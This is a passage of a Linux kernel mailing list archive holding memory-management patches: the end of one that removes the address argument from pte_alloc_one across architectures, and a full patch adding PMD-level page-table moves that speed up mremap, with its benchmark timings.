-pgtable_t pte_alloc_one(struct mm_struct *mm,
-			unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_page(GFP_KERNEL | __GFP_ZERO);
 	if (!page)
diff --git a/arch/sparc/mm/srmmu.c b/arch/sparc/mm/srmmu.c
index be9cb0065179..ce67a96e70c3 100644
--- a/arch/sparc/mm/srmmu.c
+++ b/arch/sparc/mm/srmmu.c
@@ -364,12 +364,12 @@ pgd_t *get_pgd_fast(void)
  * Alignments up to the page size are the same for physical and virtual
  * addresses of the nocache area.
  */
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	unsigned long pte;
 	struct page *page;
 
-	if ((pte = (unsigned long)pte_alloc_one_kernel(mm, address)) == 0)
+	if ((pte = (unsigned long)pte_alloc_one_kernel(mm)) == 0)
 		return NULL;
 	page = pfn_to_page(__nocache_pa(pte) >> PAGE_SHIFT);
 	if (!pgtable_page_ctor(page)) {
diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
index 3c0e470ea646..1f277191fbf3 100644
--- a/arch/um/kernel/mem.c
+++ b/arch/um/kernel/mem.c
@@ -197,7 +197,7 @@ void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long) pgd);
 }
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -205,7 +205,7 @@ pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
 	return pte;
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/unicore32/include/asm/pgalloc.h b/arch/unicore32/include/asm/pgalloc.h
index f0fdb268f8f2..7cceabecf4e3 100644
--- a/arch/unicore32/include/asm/pgalloc.h
+++ b/arch/unicore32/include/asm/pgalloc.h
@@ -34,7 +34,7 @@ extern void free_pgd_slow(struct mm_struct *mm, pgd_t *pgd);
  * Allocate one PTE table.
  */
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -46,7 +46,7 @@ pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/x86/include/asm/pgalloc.h b/arch/x86/include/asm/pgalloc.h
index fbd578daa66e..5068e85165b2 100644
--- a/arch/x86/include/asm/pgalloc.h
+++ b/arch/x86/include/asm/pgalloc.h
@@ -47,8 +47,8 @@ extern gfp_t __userpte_alloc_gfp;
 extern pgd_t *pgd_alloc(struct mm_struct *);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgd);
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *, unsigned long);
-extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *);
+extern pgtable_t pte_alloc_one(struct mm_struct *);
 
 /* Should really implement gc for free page table pages. This could be
    done with a reference count in struct page. */
diff --git a/arch/x86/mm/pgtable.c b/arch/x86/mm/pgtable.c
index 089e78c4effd..a2eff247377b 100644
--- a/arch/x86/mm/pgtable.c
+++ b/arch/x86/mm/pgtable.c
@@ -23,12 +23,12 @@ EXPORT_SYMBOL(physical_mask);
 
 gfp_t __userpte_alloc_gfp = PGALLOC_GFP | PGALLOC_USER_GFP;
 
-pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(PGALLOC_GFP & ~__GFP_ACCOUNT);
 }
 
-pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/xtensa/include/asm/pgalloc.h b/arch/xtensa/include/asm/pgalloc.h
index 1065bc8bcae5..b3b388ff2f01 100644
--- a/arch/xtensa/include/asm/pgalloc.h
+++ b/arch/xtensa/include/asm/pgalloc.h
@@ -38,8 +38,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long)pgd);
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					 unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *ptep;
 	int i;
@@ -52,13 +51,12 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return ptep;
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	pte_t *pte;
 	struct page *page;
 
-	pte = pte_alloc_one_kernel(mm, addr);
+	pte = pte_alloc_one_kernel(mm);
 	if (!pte)
 		return NULL;
 	page = virt_to_page(pte);
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 0416a7204be3..89c2b1739a69 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -1789,8 +1789,8 @@ static inline void mm_inc_nr_ptes(struct mm_struct *mm) {}
 static inline void mm_dec_nr_ptes(struct mm_struct *mm) {}
 #endif
 
-int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address);
-int __pte_alloc_kernel(pmd_t *pmd, unsigned long address);
+int __pte_alloc(struct mm_struct *mm, pmd_t *pmd);
+int __pte_alloc_kernel(pmd_t *pmd);
 
 /*
  * The following ifdef needed to get the 4level-fixup.h header to work.
@@ -1928,18 +1928,17 @@ static inline void pgtable_page_dtor(struct page *page)
 	pte_unmap(pte);					\
 } while (0)
 
-#define pte_alloc(mm, pmd, address)			\
-	(unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, pmd, address))
+#define pte_alloc(mm, pmd) (unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, pmd))
 
 #define pte_alloc_map(mm, pmd, address)			\
-	(pte_alloc(mm, pmd, address) ? NULL : pte_offset_map(pmd, address))
+	(pte_alloc(mm, pmd) ? NULL : pte_offset_map(pmd, address))
 
 #define pte_alloc_map_lock(mm, pmd, address, ptlp)	\
-	(pte_alloc(mm, pmd, address) ?			\
+	(pte_alloc(mm, pmd) ?			\
 		 NULL : pte_offset_map_lock(mm, pmd, address, ptlp))
 
 #define pte_alloc_kernel(pmd, address)			\
-	((unlikely(pmd_none(*(pmd))) && __pte_alloc_kernel(pmd, address))? \
+	((unlikely(pmd_none(*(pmd))) && __pte_alloc_kernel(pmd))? \
 		NULL: pte_offset_kernel(pmd, address))
 
 #if USE_SPLIT_PMD_PTLOCKS
diff --git a/mm/huge_memory.c b/mm/huge_memory.c
index 00704060b7f7..fd7e8714e5a1 100644
--- a/mm/huge_memory.c
+++ b/mm/huge_memory.c
@@ -558,7 +558,7 @@ static vm_fault_t __do_huge_pmd_anonymous_page(struct vm_fault *vmf,
 		return VM_FAULT_FALLBACK;
 	}
 
-	pgtable = pte_alloc_one(vma->vm_mm, haddr);
+	pgtable = pte_alloc_one(vma->vm_mm);
 	if (unlikely(!pgtable)) {
 		ret = VM_FAULT_OOM;
 		goto release;
@@ -683,7 +683,7 @@ vm_fault_t do_huge_pmd_anonymous_page(struct vm_fault *vmf)
 		struct page *zero_page;
 		bool set;
 		vm_fault_t ret;
-		pgtable = pte_alloc_one(vma->vm_mm, haddr);
+		pgtable = pte_alloc_one(vma->vm_mm);
 		if (unlikely(!pgtable))
 			return VM_FAULT_OOM;
 		zero_page = mm_get_huge_zero_page(vma->vm_mm);
@@ -772,7 +772,7 @@ vm_fault_t vmf_insert_pfn_pmd(struct vm_area_struct *vma, unsigned long addr,
 		return VM_FAULT_SIGBUS;
 
 	if (arch_needs_pgtable_deposit()) {
-		pgtable = pte_alloc_one(vma->vm_mm, addr);
+		pgtable = pte_alloc_one(vma->vm_mm);
 		if (!pgtable)
 			return VM_FAULT_OOM;
 	}
@@ -910,7 +910,7 @@ int copy_huge_pmd(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	if (!vma_is_anonymous(vma))
 		return 0;
 
-	pgtable = pte_alloc_one(dst_mm, addr);
+	pgtable = pte_alloc_one(dst_mm);
 	if (unlikely(!pgtable))
 		goto out;
 
diff --git a/mm/kasan/kasan_init.c b/mm/kasan/kasan_init.c
index 7a2a2f13f86f..272849cd2007 100644
--- a/mm/kasan/kasan_init.c
+++ b/mm/kasan/kasan_init.c
@@ -121,7 +121,7 @@ static int __ref zero_pmd_populate(pud_t *pud, unsigned long addr,
 			pte_t *p;
 
 			if (slab_is_available())
-				p = pte_alloc_one_kernel(&init_mm, addr);
+				p = pte_alloc_one_kernel(&init_mm);
 			else
 				p = early_alloc(PAGE_SIZE, NUMA_NO_NODE);
 			if (!p)
diff --git a/mm/memory.c b/mm/memory.c
index c467102a5cbc..3afdcf38993d 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -647,10 +647,10 @@ void free_pgtables(struct mmu_gather *tlb, struct vm_area_struct *vma,
 	}
 }
 
-int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address)
+int __pte_alloc(struct mm_struct *mm, pmd_t *pmd)
 {
 	spinlock_t *ptl;
-	pgtable_t new = pte_alloc_one(mm, address);
+	pgtable_t new = pte_alloc_one(mm);
 	if (!new)
 		return -ENOMEM;
 
@@ -681,9 +681,9 @@ int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address)
 	return 0;
 }
 
-int __pte_alloc_kernel(pmd_t *pmd, unsigned long address)
+int __pte_alloc_kernel(pmd_t *pmd)
 {
-	pte_t *new = pte_alloc_one_kernel(&init_mm, address);
+	pte_t *new = pte_alloc_one_kernel(&init_mm);
 	if (!new)
 		return -ENOMEM;
 
@@ -3139,7 +3139,7 @@ static vm_fault_t do_anonymous_page(struct vm_fault *vmf)
 	 *
 	 * Here we only have down_read(mmap_sem).
 	 */
-	if (pte_alloc(vma->vm_mm, vmf->pmd, vmf->address))
+	if (pte_alloc(vma->vm_mm, vmf->pmd))
 		return VM_FAULT_OOM;
 
 	/* See the comment in pte_alloc_one_map() */
@@ -3286,7 +3286,7 @@ static vm_fault_t pte_alloc_one_map(struct vm_fault *vmf)
 		pmd_populate(vma->vm_mm, vmf->pmd, vmf->prealloc_pte);
 		spin_unlock(vmf->ptl);
 		vmf->prealloc_pte = NULL;
-	} else if (unlikely(pte_alloc(vma->vm_mm, vmf->pmd, vmf->address))) {
+	} else if (unlikely(pte_alloc(vma->vm_mm, vmf->pmd))) {
 		return VM_FAULT_OOM;
 	}
 map_pte:
@@ -3365,7 +3365,7 @@ static vm_fault_t do_set_pmd(struct vm_fault *vmf, struct page *page)
 	 * related to pte entry. Use the preallocated table for that.
 	 */
 	if (arch_needs_pgtable_deposit() && !vmf->prealloc_pte) {
-		vmf->prealloc_pte = pte_alloc_one(vma->vm_mm, vmf->address);
+		vmf->prealloc_pte = pte_alloc_one(vma->vm_mm);
 		if (!vmf->prealloc_pte)
 			return VM_FAULT_OOM;
 		smp_wmb(); /* See comment in __pte_alloc() */
@@ -3603,8 +3603,7 @@ static vm_fault_t do_fault_around(struct vm_fault *vmf)
 			start_pgoff + nr_pages - 1);
 
 	if (pmd_none(*vmf->pmd)) {
-		vmf->prealloc_pte = pte_alloc_one(vmf->vma->vm_mm,
-						  vmf->address);
+		vmf->prealloc_pte = pte_alloc_one(vmf->vma->vm_mm);
 		if (!vmf->prealloc_pte)
 			goto out;
 		smp_wmb(); /* See comment in __pte_alloc() */
diff --git a/mm/migrate.c b/mm/migrate.c
index 84381b55b2bd..3080b0626026 100644
--- a/mm/migrate.c
+++ b/mm/migrate.c
@@ -2605,7 +2605,7 @@ static void migrate_vma_insert_page(struct migrate_vma *migrate,
 	 *
 	 * Here we only have down_read(mmap_sem).
 	 */
-	if (pte_alloc(mm, pmdp, addr))
+	if (pte_alloc(mm, pmdp))
 		goto abort;
 
 	/* See the comment in pte_alloc_one_map() */
diff --git a/mm/mremap.c b/mm/mremap.c
index 5c2e18505f75..9e68a02a52b1 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -240,7 +240,7 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
 			if (pmd_trans_unstable(old_pmd))
 				continue;
 		}
-		if (pte_alloc(new_vma->vm_mm, new_pmd, new_addr))
+		if (pte_alloc(new_vma->vm_mm, new_pmd))
 			break;
 		next = (new_addr + PMD_SIZE) & PMD_MASK;
 		if (extent > next - new_addr)
diff --git a/mm/userfaultfd.c b/mm/userfaultfd.c
index 5029f241908f..f05c8bc38ca5 100644
--- a/mm/userfaultfd.c
+++ b/mm/userfaultfd.c
@@ -513,7 +513,7 @@ static __always_inline ssize_t __mcopy_atomic(struct mm_struct *dst_mm,
 			break;
 		}
 		if (unlikely(pmd_none(dst_pmdval)) &&
-		    unlikely(__pte_alloc(dst_mm, dst_pmd, dst_addr))) {
+		    unlikely(__pte_alloc(dst_mm, dst_pmd))) {
 			err = -ENOMEM;
 			break;
 		}
diff --git a/virt/kvm/arm/mmu.c b/virt/kvm/arm/mmu.c
index ed162a6c57c5..3f8180414301 100644
--- a/virt/kvm/arm/mmu.c
+++ b/virt/kvm/arm/mmu.c
@@ -628,7 +628,7 @@ static int create_hyp_pmd_mappings(pud_t *pud, unsigned long start,
 		BUG_ON(pmd_sect(*pmd));
 
 		if (pmd_none(*pmd)) {
-			pte = pte_alloc_one_kernel(NULL, addr);
+			pte = pte_alloc_one_kernel(NULL);
 			if (!pte) {
 				kvm_err("Cannot allocate Hyp pte\n");
 				return -ENOMEM;
-- 
2.19.0.605.g01d371f741-goog

From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Thu, 11 Oct 2018 18:37:56 -0700
Lines: 121
Approved: news@gmane.org
Message-ID: <20181012013756.11285-2-joel@joelfernandes.org>
References: <20181012013756.11285-1-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539308215 27980 195.159.176.226 (12 Oct 2018 01:36:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 01:36:55 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, sparclinux@vger.kernel.org,
 linux-xtensa@linux-xtensa.org, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 03:36:46 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gAmNh-00074G-P3
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 03:36:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=USB1LbDXl8P454fHCL8DVYguea5eKw6KI4kOkjsh6hM=; b=PLIweq+dRcHJ5v
	u+f19XViO6HhDguTCcxZUqFT0tRNdjwVvYszsq/LkTiw49kN4uHgB6cNa7kqZHGE+FzJxkWL0XLZN
	dlsCCBbluad/eyGJa2wH33DqoG3Us9rJIW11jihhBkbNb5x18aBPU9+8ci2wLOWB/wrTvPuSdqn7A
	Fm2bMPn/cXrgT4YtchTzBoD1iOt0MDwtClOqv7sjPE2PAtsqdVlGrNPLa+S7bu6CQM6kUC/adQ61B
	1i27ijvmDfGYEBhZTwLinUN+aJOKaQt1QrnyFbgkw7V3GjEMwOjz/1l3jUcUJjTds0T6n40fgiMJZ
	GrTBcj9wFTJ15j6HG2BQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gAmPm-0000my-Ke; Fri, 12 Oct 2018 01:38:54 +0000
Original-Received: from mail-pg1-x544.google.com ([2607:f8b0:4864:20::544])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gAmPY-0000fs-9n
 for linux-snps-arc@lists.infradead.org; Fri, 12 Oct 2018 01:38:50 +0000
Original-Received: by mail-pg1-x544.google.com with SMTP id t70-v6so5013114pgd.12
 for <linux-snps-arc@lists.infradead.org>; Thu, 11 Oct 2018 18:38:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references
 :mime-version:content-transfer-encoding;
 bh=dggn5B4IBu45Jn7zEl0E2fj69SPqXRDWjnCUm47KypI=;
 b=LsSw1vpD6ikHCDlHIdb32QqvyyD1aufOxX01LgEqyrMGWyOJ1mHdUHyzEzygBR+xLd
 TIxYQJcEPWFIgTQUATKtaHKLczWAinYHDhv011+Gnh/+Qi/LC2TAWAj+854O/MuIi8aC
 BliyIqaNGeI2Aup77gD0CTMF4+r7KrlzECZpY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references:mime-version:content-transfer-encoding;
 bh=dggn5B4IBu45Jn7zEl0E2fj69SPqXRDWjnCUm47KypI=;
 b=LXDIlDEYBpkojqkSKTn/v80dGjQ5EBe2pJbAxuOqAmPELo5MkugY8LQfKs9SOhB57W
 9e8Z1AfIjNx+En7yHJOTCNq52/ZouUIjvUwXzJTEjsC8lszGh3J88n6mNGJkPDT4AJFD
 mQBJmOiNpM0eekuVEcWPRihX7lpqCsXIYreEtjqA1cD1l2qFG2OYuU8QZZMALdimNTfq
 M7xvHdfF+XbWpdhH3bvQh6b5IR6azn7OGI9LwaHcxogXtqumhvJQJXu81+oqLasdLO3a
 Q8rT41dB+3bpFnfAvHtTUPAkuYfJ6k8DI/WY271/eF6Fnzvq3Bx1QDS4GJXsCjQ3fIJW
 eymg==
X-Gm-Message-State: ABuFfoh82bcZdVYL9Ppy1Kv05nl/FCO1w62gMiypQXZvzP6LCNNVt848
 toF2QmqgdiIo8wWj8mdrvUNgcw==
X-Google-Smtp-Source: ACcGV61tz0/GbKfPpP1c456XQdgBZ23xjLvyfPMWVbzi0nQNQAiYVb14DRNaCNmsX/sYxGkmelY9Fw==
X-Received: by 2002:a63:da57:: with SMTP id
 l23-v6mr3637797pgj.179.1539308309341; 
 Thu, 11 Oct 2018 18:38:29 -0700 (PDT)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id a14-v6sm31193393pgi.75.2018.10.11.18.38.26
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 11 Oct 2018 18:38:28 -0700 (PDT)
X-Mailer: git-send-email 2.19.0.605.g01d371f741-goog
In-Reply-To: <20181012013756.11285-1-joel@joelfernandes.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181011_183840_375677_24913EAF 
X-CRM114-Status: GOOD (  16.27  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:544 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4515 gmane.linux.kernel:2897165 gmane.linux.ports.mips.general:67023 gmane.linux.ports.ia64:29365 gmane.linux.ports.sh.devel:57615 gmane.linux.kernel.mm:205090 gmane.linux.ports.riscv:1033 gmane.linux.ports.sparc:28536 gmane.linux.ports.hexagon:1890 gmane.comp.emulators.kvm.arm.devel:19387 gmane.linux.ports.arm.kernel:679246 gmane.linux.ports.parisc:29127 gmane.linux.ports.alpha:5290 gmane.linux.ports.ppc64.devel:164120
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4515>

Android needs to mremap large regions of memory during memory management
related operations. The mremap system call can be really slow if THP is
not enabled. The bottleneck is move_page_tables, which is copying each
pte at a time, and can be really slow across a large map. Turning on THP
may not be a viable option, and is not for us. This patch speeds up the
performance for non-THP system by copying at the PMD level when possible.

The speed up is three orders of magnitude. On a 1GB mremap, the mremap
completion times drops from 160-250 millesconds to 380-400 microseconds.

Before:
Total mremap time for 1GB data: 242321014 nanoseconds.
Total mremap time for 1GB data: 196842467 nanoseconds.
Total mremap time for 1GB data: 167051162 nanoseconds.

After:
Total mremap time for 1GB data: 385781 nanoseconds.
Total mremap time for 1GB data: 388959 nanoseconds.
Total mremap time for 1GB data: 402813 nanoseconds.

Incase THP is enabled, the optimization is skipped. I also flush the
tlb every time we do this optimization since I couldn't find a way to
determine if the low-level PTEs are dirty. It is seen that the cost of
doing so is not much compared the improvement, on both x86-64 and arm64.

Cc: minchan@kernel.org
Cc: pantin@google.com
Cc: hughd@google.com
Cc: lokeshgidra@google.com
Cc: dancol@google.com
Cc: mhocko@kernel.org
Cc: kirill@shutemov.name
Cc: akpm@linux-foundation.org
Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
---
 mm/mremap.c | 62 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 62 insertions(+)

diff --git a/mm/mremap.c b/mm/mremap.c
index 9e68a02a52b1..d82c485822ef 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
 		drop_rmap_locks(vma);
 }
 
+static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
+		  unsigned long new_addr, unsigned long old_end,
+		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
+{
+	spinlock_t *old_ptl, *new_ptl;
+	struct mm_struct *mm = vma->vm_mm;
+
+	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
+	    || old_end - old_addr < PMD_SIZE)
+		return false;
+
+	/*
+	 * The destination pmd shouldn't be established, free_pgtables()
+	 * should have release it.
+	 */
+	if (WARN_ON(!pmd_none(*new_pmd)))
+		return false;
+
+	/*
+	 * We don't have to worry about the ordering of src and dst
+	 * ptlocks because exclusive mmap_sem prevents deadlock.
+	 */
+	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
+	if (old_ptl) {
+		pmd_t pmd;
+
+		new_ptl = pmd_lockptr(mm, new_pmd);
+		if (new_ptl != old_ptl)
+			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
+
+		/* Clear the pmd */
+		pmd = *old_pmd;
+		pmd_clear(old_pmd);
+
+		VM_BUG_ON(!pmd_none(*new_pmd));
+
+		/* Set the new pmd */
+		set_pmd_at(mm, new_addr, new_pmd, pmd);
+		if (new_ptl != old_ptl)
+			spin_unlock(new_ptl);
+		spin_unlock(old_ptl);
+
+		*need_flush = true;
+		return true;
+	}
+	return false;
+}
+
 unsigned long move_page_tables(struct vm_area_struct *vma,
 		unsigned long old_addr, struct vm_area_struct *new_vma,
 		unsigned long new_addr, unsigned long len,
@@ -239,7 +287,21 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
 			split_huge_pmd(vma, old_pmd, old_addr);
 			if (pmd_trans_unstable(old_pmd))
 				continue;
+		} else if (extent == PMD_SIZE) {
+			bool moved;
+
+			/* See comment in move_ptes() */
+			if (need_rmap_locks)
+				take_rmap_locks(vma);
+			moved = move_normal_pmd(vma, old_addr, new_addr,
+					old_end, old_pmd, new_pmd,
+					&need_flush);
+			if (need_rmap_locks)
+				drop_rmap_locks(vma);
+			if (moved)
+				continue;
 		}
+
 		if (pte_alloc(new_vma->vm_mm, new_pmd))
 			break;
 		next = (new_addr + PMD_SIZE) & PMD_MASK;
-- 
2.19.0.605.g01d371f741-goog

From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 0/6] parisc: system call table generation support
Date: Fri, 12 Oct 2018 15:13:56 +0530
Lines: 68
Approved: news@gmane.org
Message-ID: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1539337359 13949 195.159.176.226 (12 Oct 2018 09:42:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 09:42:39 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 11:42:34 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAtxp-0003Ty-MU
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 11:42:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728335AbeJLRQR (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
